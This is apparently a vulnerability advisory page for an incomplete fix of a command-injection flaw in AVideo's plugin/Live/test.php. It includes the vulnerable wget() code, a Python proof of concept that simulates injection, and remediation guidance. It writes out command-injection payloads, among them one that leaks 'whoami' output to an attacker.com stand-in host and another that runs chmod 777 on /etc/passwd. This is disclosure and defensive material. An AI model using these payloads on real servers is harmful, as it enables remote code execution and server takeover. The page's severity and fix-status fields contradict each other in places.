Skip to content

GHSA-pq8p-wc4f-vg7j CVE-2026-41064

WWBN AVideo has an incomplete fix for CVE-2026-33502: Command Injection

Critical Packagist
Severity
0.0 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
0.34%
Chance of exploitation in the next 30 days. Higher than 26.91% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Fix
None yet
No fixed version published

Description

Summary

The incomplete fix for AVideo's test.php adds escapeshellarg for wget but leaves the file_get_contents and curl code paths unsanitized, and the URL validation regex /^http/ accepts strings like httpevil.com.

Affected Package

  • Ecosystem: Other
  • Package: AVideo
  • Affected versions: < commit 1e6cf03e93b5
  • Patched versions: >= commit 1e6cf03e93b5

Details

The vulnerable wget() function in plugin/Live/test.php:

function wget($url, $filename) {
    $cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";
    exec($cmd);
}

Neither $url nor $filename is passed through escapeshellarg(). The URL validation uses preg_match("/^http/", $url) which:

  • Does not require :// (matches httpevil.com)
  • Does not block shell metacharacters (;, backticks, $())
  • Does not validate the URL is actually a URL

A payload like http://x; id > /tmp/pwned; echo passes the regex and injects arbitrary commands via the semicolons.

The fix adds escapeshellarg() for the wget path and an isAllowedStatsTestURL allowlist, but url_get_contents() (used by the same endpoint) still follows redirects without validation. The wget-specific fix does not protect the file_get_contents and curl code paths that handle the same user-supplied URL.

PoC

"""
CVE-2026-33502 - Command injection in AVideo plugin/Live/test.php

Tests REAL vulnerable code from:
  plugin/Live/test.php (commit pre-1e6cf03)

The vulnerable wget() function at the end of test.php:
  $cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";
  exec($cmd);

No escapeshellarg() is used on $url or $filename parameters.
The URL validation regex /^http/ is also weak (matches "httpevil.com").
"""

import re
import sys
import os
import subprocess

src_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'src')
src_content = open(os.path.join(src_dir, 'test.php')).read()

print("=" * 60)
print("CVE-2026-33502: AVideo Command Injection PoC (Real Source)")
print("=" * 60)
print()

has_weak_regex = bool(re.search(r'preg_match\("/\^http/"', src_content))
has_unsanitized_wget = 'wget --tries=1 {$url} -O {$filename}' in src_content
has_escapeshellarg = 'escapeshellarg' in src_content
has_exec = 'exec($cmd)' in src_content
has_auth_check = 'User::isAdmin()' in src_content

print("[*] Source: plugin/Live/test.php (pre-fix)")
print("[*] Weak URL regex /^http/: " + str(has_weak_regex))
print("[*] Unsanitized wget command: " + str(has_unsanitized_wget))
print("[*] escapeshellarg used: " + str(has_escapeshellarg))
print("[*] exec() used: " + str(has_exec))
print("[*] Authentication check: " + str(has_auth_check))
print()

def extract_wget_function():
    match = re.search(r'function wget\(.*?\n\}', src_content, re.DOTALL)
    if match:
        return match.group(0)
    return None

wget_func = extract_wget_function()
if wget_func:
    print("[*] Extracted real wget function:")
    for line in wget_func.split('\n'):
        print("    " + line)
    print()

def simulate_url_validation(url):
    if not url or url == "php://input":
        return False
    if not re.match(r"^http", url):
        return False
    return True

def simulate_vulnerable_wget_cmd(url, filename):
    cmd = f"wget --tries=1 {url} -O {filename} --no-check-certificate"
    return cmd

print("[*] Testing command injection payloads:")
print()

vuln_count = 0

payload = "http://x; id > /tmp/pwned; echo "
valid = simulate_url_validation(payload)
cmd = simulate_vulnerable_wget_cmd(payload, "/tmp/test123")
print(f"  Payload: {payload}")
print(f"  Passes regex: {valid}")
print(f"  Generated command: {cmd}")
if valid and '; id' in cmd:
    print("  Result: COMMAND INJECTION - 'id' will execute")
    vuln_count += 1
print()

payload2 = "http://x`whoami`.attacker.com/test"
valid2 = simulate_url_validation(payload2)
cmd2 = simulate_vulnerable_wget_cmd(payload2, "/tmp/test456")
print(f"  Payload: {payload2}")
print(f"  Passes regex: {valid2}")
print(f"  Generated command: {cmd2}")
if valid2 and '`whoami`' in cmd2:
    print("  Result: COMMAND INJECTION via backticks")
    vuln_count += 1
print()

payload3 = "httpevil.attacker.com"
valid3 = simulate_url_validation(payload3)
print(f"  Payload: {payload3}")
print(f"  Passes regex: {valid3}")
if valid3:
    print("  Result: WEAK REGEX - 'httpevil.com' matches /^http/")
    vuln_count += 1
print()

cmd4 = simulate_vulnerable_wget_cmd("http://legit.com", "/tmp/test; chmod 777 /etc/passwd")
print(f"  Filename injection command: {cmd4}")
if '; chmod' in cmd4:
    print("  Result: FILENAME INJECTION possible")
    vuln_count += 1
print()

if not has_auth_check:
    vuln_count += 1
    print("[*] No authentication required to reach test.php")
print()

if vuln_count > 0 and has_unsanitized_wget:
    print("VULNERABILITY CONFIRMED")
    sys.exit(0)
else:
    print("VULNERABILITY NOT CONFIRMED")
    sys.exit(1)

Steps to reproduce:

  1. git clone https://github.com/WWBN/AVideo /tmp/AVideo_test
  2. cd /tmp/AVideo_test && git checkout 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3~1
  3. python3 poc.py

Expected output:

VULNERABILITY CONFIRMED
wget() uses unsanitized $url in shell command via exec(), and the URL regex /^http/ is too weak to prevent injection.

Impact

An unauthenticated attacker can achieve remote code execution on the AVideo server by sending a crafted URL to plugin/Live/test.php that injects shell commands via semicolons or backticks in the wget command line. This grants full server compromise -- the attacker can read database credentials, install backdoors, or pivot to internal systems.

Suggested Remediation

  1. Use escapeshellarg() on both $url and $filename in the wget() function.
  2. Strengthen the URL regex to require ^https?:// and reject shell metacharacters.
  3. Add authentication (User::isAdmin()) to the test.php endpoint.
  4. Apply escapeshellarg() consistently across all code paths (wget, curl, file_get_contents).

Affected versions

Packagist

PackageVulnerableFixed in
wwbn/avideo
<= 29.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
Low
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 9.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

Weakness

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

How to prevent it
  • Architecture and Design: If at all possible, use library calls rather than external processes to recreate the desired functionality.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design: For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
  • Implementation: While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
  • Implementation: If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would ne
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
  • Operation: Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
Medium Also affects wwbn/avideo
GHSA-wc3f-xc32-435f
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
High Also affects wwbn/avideo
GHSA-95jh-7r58-xmxw
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
Medium Also affects wwbn/avideo
GHSA-wf69-r4mx-43rr
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
High Also affects wwbn/avideo
GHSA-8j8m-p79x-g4jm
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Medium Also affects wwbn/avideo
GHSA-8whc-2wmv-ww35
WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin
Critical Also affects WWBN/AVideo
GHSA-66q5-cj5g-wrfx
WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section
Medium Also affects WWBN/AVideo
GHSA-hgjh-6wj8-gcgf
WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination
Medium Also affects WWBN/AVideo
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor